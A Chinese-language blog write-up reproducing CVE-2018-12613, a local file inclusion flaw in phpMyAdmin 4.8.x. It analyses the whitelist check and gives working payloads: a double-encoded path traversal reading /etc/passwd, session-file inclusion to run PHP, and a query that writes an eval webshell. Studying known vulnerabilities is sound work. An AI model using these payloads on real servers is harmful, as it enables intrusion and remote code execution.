CVE-2018-12613复现
Posted H3h3QAQ
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2018-12613复现相关的知识,希望对你有一定的参考价值。
CVE-2018-12613复现
漏洞描述:
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
- $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
漏洞影响范围:
phpMyAdmin 4.8.0和4.8.1
漏洞复现环境:
phpstudy+phpmyadmin4.8.1
漏洞分析:
漏洞点在index.php
第55~63行
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
第61行出现了 include $_REQUEST[‘target’];
可以看出这里可能存在LFI漏洞
本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发方便,常常会用到包含。比如把一系列功能函数都写进function.php中,之后当某个文件需要使用时直接调用定义的函数。 本地包含漏洞是php中一种典型的高危漏洞,由于程序员未对用户可控变量的输入进行检查,导致用户可以控制被包含的文件,成功利用时可以使web server将特定文件当成php执行,从而导致用户获取颐一定的服务器权限。
第57行限制 target 参数不能以index开头
第58行限制 target 参数不能出现在 $target_blacklist 内
$target_blacklist 的定义:
$target_blacklist = array (
'import.php', 'export.php'
);
只要target参数不是import.php
和export.php
即可
最后一个限制方法在phpMyAdmin/libraries/classes/core.php
Core类的checkPageValidity方法:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
审计代码发现在第 465 行的urldecode()
,我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。
构造payload:
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
passwd
被读取,说明文件包含漏洞存在
执行一下SELECT '<?=phpinfo()?>';
然后包含session文件
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_f4c1cdbb5a0ab1a7d0ebb760bdeddc6a
查看到了phpinfo
同理,我们也可以写入webshell
select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[pass]);?>')?>"
然后链接蚁剑
拿到shell
以上是关于CVE-2018-12613复现的主要内容,如果未能解决你的问题,请参考以下文章
phpmyadmin文件包含漏洞复现(CVE-2018-12613)
[vulhub]_phpmyadmin_4.8.1_远程文件包含(cve-2018-12613)复现&RCE实现